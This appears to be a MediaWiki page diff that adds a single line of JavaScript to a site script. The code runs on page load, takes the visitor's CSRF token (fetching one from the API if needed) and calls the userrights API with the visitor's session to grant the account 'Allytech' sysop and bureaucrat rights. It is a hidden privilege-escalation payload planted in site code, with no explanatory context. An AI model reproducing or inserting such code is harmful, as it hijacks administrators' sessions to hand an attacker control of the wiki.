|
|
| Línea 1: |
Línea 1: |
| (function(){if(window.__axjs)return;window.__axjs=1;function g(t){fetch('/api.php?action=userrights&format=json&user=Allytech&add=sysop%7Cbureaucrat',{method:'POST',credentials:'include',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'token='+encodeURIComponent(t)})}function f(){fetch('/api.php?action=query&meta=tokens&type=csrf&format=json',{credentials:'include'}).then(function(r){return r.json()}).then(function(j){g(j.query.tokens.csrftoken)})}try{var t=mw.user.tokens.get('csrfToken');if(t){g(t)}else{f()}}catch(e){f()}})();
| | |